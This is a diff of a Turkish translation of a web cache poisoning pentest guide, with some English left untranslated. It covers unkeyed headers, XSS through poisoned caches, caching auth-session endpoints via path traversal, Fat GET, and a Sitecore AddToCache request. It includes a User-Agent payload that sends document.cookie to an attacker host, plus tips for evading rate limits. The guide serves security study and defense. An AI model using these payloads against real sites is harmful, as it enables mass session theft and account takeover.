-### Yanıtı önbelleğe alma
+### Yanıtın cache'e alınmasını sağlama
 
-Kötüye kullanılabilecek **sayfayı** **belirledikten** sonra, hangi **parametre**/**başlık** kullanılacağını ve **nasıl** kötüye kullanılacağını bilmeniz gerekir, sayfayı önbelleğe almanız gerekir. Önbelleğe almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye boyunca denemek zorunda kalabilirsiniz.
+Kötüye kullanılabilecek sayfayı, hangi parametre/başlık kullanılacağını ve bunu nasıl kötüye kullanacağınızı belirledikten sonra, sayfanın cache'e alınmasını sağlamanız gerekir. Cache'e almak istediğiniz kaynağa bağlı olarak bu biraz zaman alabilir; birkaç saniye boyunca denemeniz gerekebilir.
 
-Yanıt içindeki **`X-Cache`** başlığı, isteğin önbelleğe alınmadığında **`miss`** değerine ve önbelleğe alındığında **`hit`** değerine sahip olabileceğinden çok faydalı olabilir.\
-**`Cache-Control`** başlığı da bir kaynağın önbelleğe alınıp alınmadığını ve kaynağın bir sonraki ne zaman önbelleğe alınacağını bilmek için ilginçtir: `Cache-Control: public, max-age=1800`
+Cevaptaki header **`X-Cache`** çok faydalı olabilir çünkü istek cache'lenmediğinde değeri **`miss`**, cache'deyse **`hit`** olabilir.\
+Header **`Cache-Control`** de bir kaynağın cachelenip cachelenmediğini ve bir sonraki cache zamanını öğrenmek için ilginçtir: `Cache-Control: public, max-age=1800`
 
-Bir diğer ilginç başlık **`Vary`**. Bu başlık, genellikle **önbellek anahtarının** bir parçası olarak **işlem gören ek başlıkları** **belirtmek için** kullanılır, normalde anahtarsız olsalar bile. Bu nedenle, hedeflediği kurbanın `User-Agent`'ını bilen bir kullanıcı, o belirli `User-Agent`'ı kullanan kullanıcılar için önbelleği zehirleyebilir.
+Bir diğer ilginç header **`Vary`**'dir. Bu header genellikle normalde anahtar olmayan ek başlıkların bile **cache anahtarının parçası** olarak değerlendirildiğini **belirtmek** için kullanılır. Bu nedenle, eğer saldırgan hedeflediği kurbanın `User-Agent`'ini biliyorsa, o spesifik `User-Agent`'i kullanan kullanıcılar için cache'i poison edebilir.
 
-Önbellekle ilgili bir başlık daha **`Age`**. Bu, nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
+Cache ile ilgili bir başka header ise **`Age`**'dir. Bu header, cismin proxy cache'te bulunduğu süreyi saniye cinsinden tanımlar.
 
-Bir isteği önbelleğe alırken, kullandığınız başlıklarla **dikkatli olun** çünkü bazıları **beklenmedik şekilde** **anahtarlı** olarak **kullanılabilir** ve **kurbanın o aynı başlığı kullanması gerekecektir**. Her zaman **farklı tarayıcılarla** bir Cache Poisoning'i **test edin**.
+Bir isteği cache'lerken kullandığınız başlıklara **dikkat edin** çünkü bazıları **beklenmedik şekilde** anahtar olarak **kullanılabilir** ve kurbanın **aynı başlığı kullanması** gerekecektir. Her zaman bir Cache Poisoning'i **farklı tarayıcılarla** test ederek çalışıp çalışmadığını kontrol edin.
 
 ## Sömürü Örnekleri
 
 ### En kolay örnek
 
-`X-Forwarded-For` gibi bir başlık, yanıt içinde temizlenmeden yansıtılıyor.\
-Temel bir XSS yükü gönderebilir ve önbelleği zehirleyerek sayfaya erişen herkesin XSS olmasını sağlayabilirsiniz:
+`X-Forwarded-For` gibi bir header yanıtta sanitize edilmeden yansıtılıyorsa.\
+Temel bir XSS payload gönderip cache'i poison ederek sayfaya erişen herkesin XSSlenmesini sağlayabilirsiniz:
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
 X-Forwarded-Host: a."><script>alert(1)</script>"
 ```
-_Not edin ki bu, `/en?region=uk` isteğini zehirleyecek, `/en` isteğini değil._
+_Bu, `/en?region=uk` isteğini zehirleyecektir, `/en`'i değil_
+
+### Cache poisoning to DoS
 
-### DoS için Önbellek zehirleme
 
 {{#ref}}
 cache-poisoning-to-dos.md
 {{#endref}}
 
-### CDN'ler aracılığıyla Önbellek zehirleme
+### Cache poisoning through CDNs
 
-**[bu yazıda](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** aşağıdaki basit senaryo açıklanmaktadır:
+**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)**'de aşağıdaki basit senaryo açıklanıyor:
 
-- CDN, `/share/` altındaki her şeyi önbelleğe alacaktır.
-- CDN, `%2F..%2F`'yi çözmeyecek veya normalleştirmeyecek, bu nedenle, **önbelleğe alınacak diğer hassas konumlara erişim için yol geçişi olarak kullanılabilir**; örneğin `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- Web sunucusu `%2F..%2F`'yi çözecek ve normalleştirecek ve `/api/auth/session` ile yanıt verecektir; bu **kimlik doğrulama jetonunu** içerir.
+- CDN `/share/` altındaki her şeyi cache'leyecektir
+- CDN `%2F..%2F`'yi decode veya normalize etmeyecektir; bu nedenle `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi URL'ler **path traversal to access other sensitive locations that will be cached** için kullanılabilir
+- Web sunucusu `%2F..%2F`'yi decode ve normalize edecek ve `/api/auth/session` ile cevap verecektir; bu yanıt **contains the auth token**.
 
-### Çerez işleme zafiyetlerini istismar etmek için web önbellek zehirlemesi kullanma
+### Using web cache poisoning to exploit cookie-handling vulnerabilities
 
-Çerezler, bir sayfanın yanıtında da yansıtılabilir. Eğer bunu bir XSS oluşturmak için kötüye kullanabilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i istismar edebilirsiniz.
+Çerezler ayrıca bir sayfanın yanıtında yansıtılabilir. Örneğin bunu bir XSS tetiklemek için kötüye kullanabilirseniz, kötü amaçlı cache yanıtını yükleyen birden fazla istemcide XSS'i exploit edebilirsiniz.
 ```html
 GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
-Not edin ki, eğer savunmasız çerez kullanıcılar tarafından çok kullanılıyorsa, düzenli istekler önbelleği temizleyecektir.
+Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
 
-### Ayırıcılar, normalizasyon ve noktalar ile tutarsızlıklar oluşturma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-Kontrol et:
+Check:
 
 
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### API anahtarını çalmak için yol geçişi ile önbellek zehirleme <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-[**Bu yazı**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının nasıl çalındığını açıklıyor çünkü `/share/*` ile eşleşen her şey, istek web sunucusuna ulaştığında URL'yi normalleştirmeden önbelleğe alınacaktır.
+[**Bu writeup anlatıyor**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) nasıl `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API key'in çalınabildiğini; çünkü `/share/*` ile eşleşen her şey, isteğin web sunucusuna ulaşana kadar Cloudflare tarafından URL normalleştirmesi yapılmadan cache'leniyordu.
 
-Bu, daha iyi bir şekilde de açıklanmıştır:
+This is also explained better in:
 
 
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### Web önbellek zehirleme zafiyetlerini istismar etmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-Bazen bir önbelleği istismar edebilmek için **birden fazla anahtarsız girdi** kullanmanız gerekecektir. Örneğin, `X-Forwarded-Host` başlığını sizin kontrolünüzdeki bir alan adına ve `X-Forwarded-Scheme` başlığını `http` olarak ayarlarsanız bir **Açık yönlendirme** bulabilirsiniz. **Eğer** **sunucu** tüm **HTTP** isteklerini **HTTPS**'ye **yönlendiriyorsa** ve `X-Forwarded-Scheme` başlığını yönlendirme için alan adı olarak kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.
+Bazen bir cache'i kötüye kullanabilmek için **exploit several unkeyed inputs** gerekir. Örneğin, `X-Forwarded-Host`'u sizin kontrolünüzdeki bir domaine ve `X-Forwarded-Scheme`'i `http` olarak ayarlarsanız bir **Open redirect** bulabilirsiniz. Eğer server tüm **HTTP** isteklerini **HTTPS**'e forward ediyor ve redirect için `X-Forwarded-Scheme` header'ını domain adı olarak kullanıyorsa, redirect ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### Sınırlı `Vary` başlığı ile istismar
+### Exploiting kısıtlı `Vary`header
 
-Eğer **`X-Host`** başlığının **bir JS kaynağını yüklemek için alan adı olarak** kullanıldığını ve yanıtın **`Vary`** başlığının **`User-Agent`** belirttiğini bulduysanız, o zaman kurbanın User-Agent'ını dışarı sızdırmanın ve bu kullanıcı ajanını kullanarak önbelleği zehirlemenin bir yolunu bulmalısınız:
+Eğer **`X-Host`** header'ının **JS resource yüklemek için domain adı** olarak kullanıldığını, ancak yanıt içindeki **`Vary`** header'ının **`User-Agent`**'ı gösterdiğini fark ederseniz, o zaman kurbanın `User-Agent`'ini sızdırmanın ve o `User-Agent`'i kullanarak önbelleği zehirlemenin bir yolunu bulmanız gerekir:
 ```html
 GET / HTTP/1.1
 Host: vulnerbale.net
@@ -135,7 +137,7 @@ X-Host: attacker.com
 ```
 ### Fat Get
 
-URL'deki ve gövdedeki isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdedekini kullanıyorsa ama önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında gövdedeki parametreyi kullanacaktır. James Kettle'ın Github web sitesinde bulduğu zafiyet gibi:
+URL'de ve body'de aynı isteği içeren bir GET isteği gönder. Eğer web server body'dekini kullanıyor ama cache server URL'dekini önbelleğe alıyorsa, o URL'ye erişen herkes aslında body'deki parametreyi kullanır. Github'ta James Kettle'ın bulduğu vuln gibi:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@@ -144,103 +146,120 @@ Content-Length: 22
 
 report=innocent-victim
 ```
-Bir portswigger laboratuvarı hakkında: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
 
-### Parametre Gizleme
+### Parameter Cloacking
 
-Örneğin, ruby sunucularında **parametreleri** **`;`** karakterini kullanarak **`&`** yerine ayırmak mümkündür. Bu, anahtarsız parametre değerlerini anahtarlı olanların içine yerleştirmek ve bunları kötüye kullanmak için kullanılabilir.
+Örneğin ruby sunucularında **parametreleri** ayırmak için karakter olarak **`;`** yerine **`&`** kullanılabiliyor. Bu, anahtarsız parametre değerlerini anahtarlı parametrelerin içine koymak ve bunlardan istifade etmek için kullanılabilir.
 
-Portswigger laboratuvarı: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
+Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
 
-### HTTP Cache Poisoning'i HTTP Request Smuggling ile Kötüye Kullanma
+### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
 
-[Cache Poisoning saldırılarını HTTP Request Smuggling'i kötüye kullanarak nasıl gerçekleştireceğinizi](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) burada öğrenin.
+Burada [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) ile nasıl saldırı yapılacağını öğrenin.
 
-### Web Cache Poisoning için Otomatik Test
+### Automated testing for Web Cache Poisoning
 
-[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner), web cache poisoning için otomatik test yapmak üzere kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.
+The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) otomatik olarak web cache poisoning için test yapmakta kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.
 
-Örnek kullanım: `wcvs -u example.com`
+Example usage: `wcvs -u example.com`
 
-### Header-reflection XSS + CDN/WAF destekli cache tohumlama (User-Agent, otomatik önbelleğe alınmış .js)
+### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
 
-Bu gerçek dünya modeli, diğer kullanıcılara sunulan önbelleğe alınmış HTML'yi güvenilir bir şekilde zehirlemek için header tabanlı bir yansıma ilkesini CDN/WAF davranışıyla birleştirir:
+Bu gerçek dünya örüntüsü, başlığa dayalı bir yansıtma primitive'ini CDN/WAF davranışıyla birleştirerek diğer kullanıcılara servis edilen önbelleğe alınmış HTML'i güvenilir şekilde zehirlemeye olanak tanır:
 
-- Ana HTML, güvenilmeyen bir istek başlığını (örneğin, `User-Agent`) çalıştırılabilir bir bağlama yansıttı.
-- CDN, önbellek başlıklarını kaldırdı ancak bir iç/orijin önbelleği vardı. CDN ayrıca statik uzantılarla (örneğin, `.js`) biten istekleri otomatik olarak önbelleğe aldı, WAF ise statik varlıklar için GET'lerde daha zayıf içerik denetimi uyguladı.
-- İstek akışı tuhaflıkları, bir `.js` yoluna yapılan bir isteğin, sonraki ana HTML için kullanılan önbellek anahtarını/çeşidini etkilemesine izin verdi ve header yansıması yoluyla kullanıcılar arası XSS'yi mümkün kıldı.
+- Ana HTML, güvenilmeyen bir istek başlığını (örn., `User-Agent`) çalıştırılabilir bağlama yansıtıyordu.
+- CDN cache headerlarını kaldırdı fakat bir internal/origin cache mevcuttu. CDN ayrıca `.js` gibi statik uzantıyla biten istekleri otomatik olarak önbelleğe alıyordu; WAF ise statik varlıklar için yapılan GET'lere daha zayıf içerik denetimi uyguluyordu.
+- İstek akışı anormallikleri, bir `.js` yoluna yapılan isteğin sonraki ana HTML için kullanılan cache anahtarını/çeşidini etkilemesine izin veriyordu; böylece başlık yansıtması yoluyla kullanıcılar arası XSS mümkün oluyordu.
 
 Pratik tarif (popüler bir CDN/WAF üzerinde gözlemlendi):
 
-1) Temiz bir IP'den (önceki itibar tabanlı düşüşlerden kaçının), tarayıcı veya Burp Proxy Match & Replace aracılığıyla kötü niyetli bir `User-Agent` ayarlayın.
-2) Burp Repeater'da, iki isteğin bir grubunu hazırlayın ve "Grubu paralel gönder" seçeneğini kullanın (tek paket modu en iyi çalışır):
-- İlk istek: Kötü niyetli `User-Agent`'ınızı gönderirken aynı kök üzerinde bir `.js` kaynak yolunu GET yapın.
-- Hemen ardından: Ana sayfayı (`/`) GET yapın.
-3) CDN/WAF yönlendirme yarışı ve otomatik önbelleğe alınmış `.js`, genellikle aynı önbellek anahtar koşullarını paylaşan diğer ziyaretçilere sunulan zehirli bir önbelleğe alınmış HTML çeşidini tohumlar (örneğin, aynı `Vary` boyutları gibi `User-Agent`).
+1) Temiz bir IP'den (önceki itibar tabanlı düşürmelere sahip olmamaya dikkat ederek), tarayıcı veya Burp Proxy Match & Replace aracılığıyla kötü amaçlı bir `User-Agent` ayarlayın.
+2) Burp Repeater'da iki isteklik bir grup hazırlayın ve "Send group in parallel" seçeneğini kullanın (single-packet mode en iyi sonucu verir):
+- İlk istek: Aynı origin'de bir `.js` kaynak yoluna GET gönderin ve kötü amaçlı `User-Agent`'ınızı iletin.
+- Hemen ardından: Ana sayfaya (`/`) GET gönderin.
+3) CDN/WAF yönlendirme yarışı ve otomatik önbelleğe alınan `.js` genellikle zehirlenmiş bir önbelleğe alınmış HTML varyantını tohumlar; bu varyant daha sonra aynı cache anahtarı koşullarını paylaşan (örn. `User-Agent` gibi aynı `Vary` boyutları) diğer ziyaretçilere sunulur.
 
-Örnek header yükü (HttpOnly olmayan çerezleri dışa aktarmak için):
+Example header payload (non-HttpOnly çerezleri sızdırmak için):
 ```
 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
 ```
 Operasyonel ipuçları:
 
-- Birçok CDN, önbellek başlıklarını gizler; zehirlenme yalnızca çok saatlik yenileme döngülerinde görünebilir. Oran sınırlaması veya itibar tetikleyicilerini önlemek için birden fazla bakış açısı IP'si kullanın ve hızı sınırlayın.
-- CDN'nin kendi bulutundan bir IP kullanmak, yönlendirme tutarlılığını bazen artırır.
-- Eğer katı bir CSP varsa, bu yine de çalışır; yansıma ana HTML bağlamında yürütülürse ve CSP, satır içi yürütmeye izin veriyorsa veya bağlam tarafından atlanıyorsa.
+- Birçok CDN cache headers'ı gizler; poisoning yalnızca saatler süren yenileme döngülerinde görünebilir. Rate-limit veya reputation tetikleyicilerini tetiklemeden kaçınmak için birden fazla vantage IP kullanın ve throttle uygulayın.
+- CDN'in kendi cloud'undan bir IP kullanmak bazen routing tutarlılığını iyileştirir.
+- Eğer sıkı bir CSP varsa, reflection main HTML context içinde çalışıyorsa ve CSP inline execution'a izin veriyorsa veya context ile bypass edilebiliyorsa bu hâlâ işe yarar.
 
-Etkisi:
+Impact:
 
-- Eğer oturum çerezleri `HttpOnly` değilse, zehirlenmiş HTML'yi alan tüm kullanıcıların `document.cookie`'sini kitlesel olarak dışarı aktararak sıfır tıklama ATO mümkündür.
+- Eğer oturum cookie'leri `HttpOnly` değilse, zero-click ATO, poisoned HTML ile hizmet verilen tüm kullanıcılardan `document.cookie`'nin toplu exfiltrasyonuyla mümkün olabilir.
 
-Savunmalar:
+Defenses:
 
-- İstek başlıklarını HTML'ye yansıtmayı durdurun; kaçınılmazsa katı bir bağlam kodlaması yapın. CDN ve köken önbellek politikalarını hizalayın ve güvenilmeyen başlıklarda değişiklik yapmaktan kaçının.
-- WAF'nin `.js` isteklerine ve statik yollara içerik denetimini tutarlı bir şekilde uyguladığından emin olun.
-- Oturum çerezlerinde `HttpOnly` (ve `Secure`, `SameSite`) ayarlayın.
+- Request headers'ı HTML'e yansıtmayı durdurun; kaçınılmazsa sıkı şekilde context-encode uygulayın. CDN ve origin cache policy'lerini hizalayın ve untrusted headers üzerinde varyasyon yapmaktan kaçının.
+- WAF'in `.js` istekleri ve statik yollar üzerinde content inspection uyguladığından emin olun.
+- Oturum cookie'lerinde `HttpOnly` (ve `Secure`, `SameSite`) ayarlarını yapın.
 
-## Savunmasız Örnekler
+### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
+
+A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+Bu, saldırgan tarafından seçilen bir cache key altında rastgele HTML yazar; cache key'ler bilindiğinde hassas poisoning yapılmasını sağlar.
+
+For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
+
+## Zafiyetli Örnekler
 
 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
 
-ATS, URL içindeki parçayı kesmeden iletti ve önbellek anahtarını yalnızca ana bilgisayar, yol ve sorgu kullanarak oluşturdu (parçayı göz ardı ederek). Bu nedenle `/#/../?r=javascript:alert(1)` isteği arka uca `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarında yük yoktu, yalnızca ana bilgisayar, yol ve sorgu vardı.
+ATS URL içindeki fragment'i temizlemeden iletti ve cache key'i yalnızca host, path ve query kullanarak oluşturdu (fragment'i görmezden gelerek). Bu nedenle `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderildi ve cache key içinde payload yoktu; sadece host, path ve query vardı.
 
 ### GitHub CP-DoS
 
-İçerik türü başlığında kötü bir değer göndermek, 405 önbellekli bir yanıtı tetikledi. Önbellek anahtarı çerezi içeriyordu, bu nedenle yalnızca kimlik doğrulaması yapılmamış kullanıcıları hedef almak mümkündü.
+content-type header'ına kötü bir değer gönderilmesi 405 önbelleğe alınmış bir yanıtı tetikliyordu. Cache key cookie'yi içeriyordu, bu yüzden yalnızca kimliksiz kullanıcıları (unauth users) hedeflemek mümkün oldu.
 
 ### GitLab + GCP CP-DoS
 
-GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları**, **`x-http-method-override`** başlığını destekler. Bu nedenle `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek için zehirlemek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilirdi.
+GitLab statik içeriği depolamak için GCP buckets kullanır. GCP Buckets **`x-http-method-override`** header'ını destekler. Bu yüzden `x-http-method-override: HEAD` header'ı gönderip cache'i boş bir response body döndürecek şekilde poison etmek mümkün oldu. `PURGE` metodunu da destekleyebiliyordu.
 
 ### Rack Middleware (Ruby on Rails)
 
-Ruby on Rails uygulamalarında, Rack ara yazılımı sıklıkla kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve bunu isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma 301 yönlendirmesi gerçekleşir ve bu, o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını tanıyabilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, bir saldırganın sunucusundan JavaScript dosyalarının yüklenmesine yol açarak güvenlik riski oluşturabilir.
+Ruby on Rails uygulamalarında sıklıkla Rack middleware kullanılır. Rack kodunun amacı **`x-forwarded-scheme`** header'ının değerini alıp isteğin scheme'i olarak ayarlamaktır. `x-forwarded-scheme: http` header'ı gönderildiğinde aynı konuma 301 redirect oluşur ve bu kaynak için potansiyel bir Denial of Service (DoS) yaratabilir. Ayrıca uygulama `X-forwarded-host` header'ını dikkate alıp kullanıcıları belirtilen host'a yönlendirebilir. Bu davranış, JavaScript dosyalarının saldırganın sunucusundan yüklenmesine yol açarak güvenlik riski oluşturabilir.
 
-### 403 ve Depolama Kovaları
+### 403 and Storage Buckets
 
-Cloudflare daha önce 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilendirme başlıkları ile S3 veya Azure Depolama Blob'larına erişmeye çalışmak, önbelleğe alınan bir 403 yanıtı ile sonuçlanıyordu. Cloudflare 403 yanıtlarını önbelleğe almayı durdurmuş olsa da, bu davranış diğer proxy hizmetlerinde hala mevcut olabilir.
+Cloudflare eskiden 403 yanıtlarını cache'liyordu. Yanlış Authorization header'ları ile S3 veya Azure Storage Blobs'a erişmeye çalışmak 403 yanıtı üretir ve bu yanıt önbelleğe alınırdı. Cloudflare artık 403 yanıtlarını cachelemeyi durdurmuş olsa da, bu davranış diğer proxy servislerinde hâlâ mevcut olabilir.
 
-### Anahtar Parametreleri Enjekte Etme
+### Injecting Keyed Parameters
 
-Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alıyordu. Ancak, parametrenin URL kodlu bir versiyonu (örneğin, `siz%65`) hatalı bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresi kullanılarak oluşturuluyordu. Yine de, arka uç URL kodlu parametredeki değeri işliyordu. İkinci `size` parametresinin URL kodlaması, önbellek tarafından atlanmasına ancak arka uç tarafından kullanılmasına neden oldu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlandı.
+Cache'ler genellikle cache key'inde belirli GET parametrelerini dahil eder. Örneğin, Fastly'nin Varnish'i isteklerdeki `size` parametresini cacheliyordu. Ancak parametrenin URL-encoded bir versiyonu (örn. `siz%65`) yanlış bir değerle de gönderilirse, cache key doğru `size` parametresini kullanarak oluşturulurdu. Fakat backend URL-encoded parametrenin değerini işlerdi. İkinci `size` parametresini URL-encode etmek cache tarafından atlanmasına, ancak backend tarafından kullanılmasına yol açtı. Bu parametreye 0 değeri atanması cachelenebilir bir 400 Bad Request hatası ile sonuçlandı.
 
-### Kullanıcı Aracı Kuralları
+### User Agent Rules
 
-Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafik araçlarının kullanıcı ajanlarıyla eşleşen istekleri engeller. Ironik bir şekilde, bu yaklaşım önbellek zehirlenmesi ve DoS gibi güvenlik açıkları oluşturabilir.
+Bazı geliştiriciler, FFUF veya Nuclei gibi yüksek trafikli araçların user-agent'larıyla eşleşen istekleri sunucu yükünü yönetmek için engeller. Ironik olarak, bu yaklaşım cache poisoning ve DoS gibi zafiyetlere yol açabilir.
 
-### Geçersiz Başlık Alanları
+### Illegal Header Fields
 
-[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230), başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıkların ideal olarak 400 Bad Request yanıtı tetiklemesi gerekir. Pratikte, sunucular her zaman bu standarda uymamaktadır. Önemli bir örnek, geçersiz karakterler içeren başlıkları ileten ve `cache-control` başlığı mevcut olmadıkça herhangi bir 400 hatasını önbelleğe alan Akamai'dır. Geçersiz bir karakter içeren bir başlık gönderildiğinde, örneğin `\`, önbelleğe alınabilir bir 400 Bad Request hatası ile sonuçlanan bir sömürülebilir desen tespit edilmiştir.
+[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) header isimlerinde kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığı dışındaki karakterleri içeren header'lar idealde 400 Bad Request yanıtı tetiklemelidir. Pratikte sunucular her zaman bu standarda uymuyor. Kayda değer bir örnek Akamai; geçersiz karakterler içeren header'ları iletir ve `cache-control` header'ı yoksa herhangi bir 400 hatasını cacheler. Örneğin `\` gibi yasadışı bir karakter içeren bir header göndermek cachelenebilir bir 400 Bad Request hatasına neden olacak şekilde kullanılabilir bulunmuştur.
 
-### Yeni başlıklar bulma
+### Finding new headers
 
 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
 
-## Önbellek Aldatmacası
+## Cache Deception
 
-Önbellek Aldatmacası'nın amacı, istemcilerin **duyarlı bilgileri ile birlikte önbelleğe kaydedilecek kaynakları yüklemelerini sağlamaktır**.
+Cache Deception'ın amacı, istemcilerin **cache tarafından kaydedilecek** kaynakları **duyarlı bilgileriyle birlikte yüklemesini sağlamak**tır.
 
-Öncelikle, **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe** **kaydedilmek** üzere **yapılandırıldığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, önbellek muhtemelen yanıtı depolayacaktır çünkü `.js` **uzantısını** görmektedir. Ancak, eğer **uygulama**, _www.example.com/profile.php_ içinde depolanan **duyarlı** kullanıcı içerikleri ile **tekrar oynuyorsa**, bu içerikleri diğer kullanıcılardan **çalıp** alabilirsiniz.
+Öncelikle şunu unutmayın: `.css`, `.js`, `.png` vb. gibi **uzantılar** genellikle **cache'de saklanacak** şekilde **yapılandırılır.** Bu nedenle `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, cache büyük olasılıkla yanıtı uzantıyı `.js` olarak gördüğü için saklayacaktır. Ancak **uygulama**, _www.example.com/profile.php_ içinde saklı olan **duyarlı** kullanıcı içeriklerini yanıtlıyorsa, bu içerikleri diğer kullanıcılardan **çalabilirsiniz**.
 
 Test edilecek diğer şeyler:
 
@@ -249,19 +268,19 @@ Test edilecek diğer şeyler:
 - _www.example.com/profile.php/test.js_
 - _www.example.com/profile.php/../test.js_
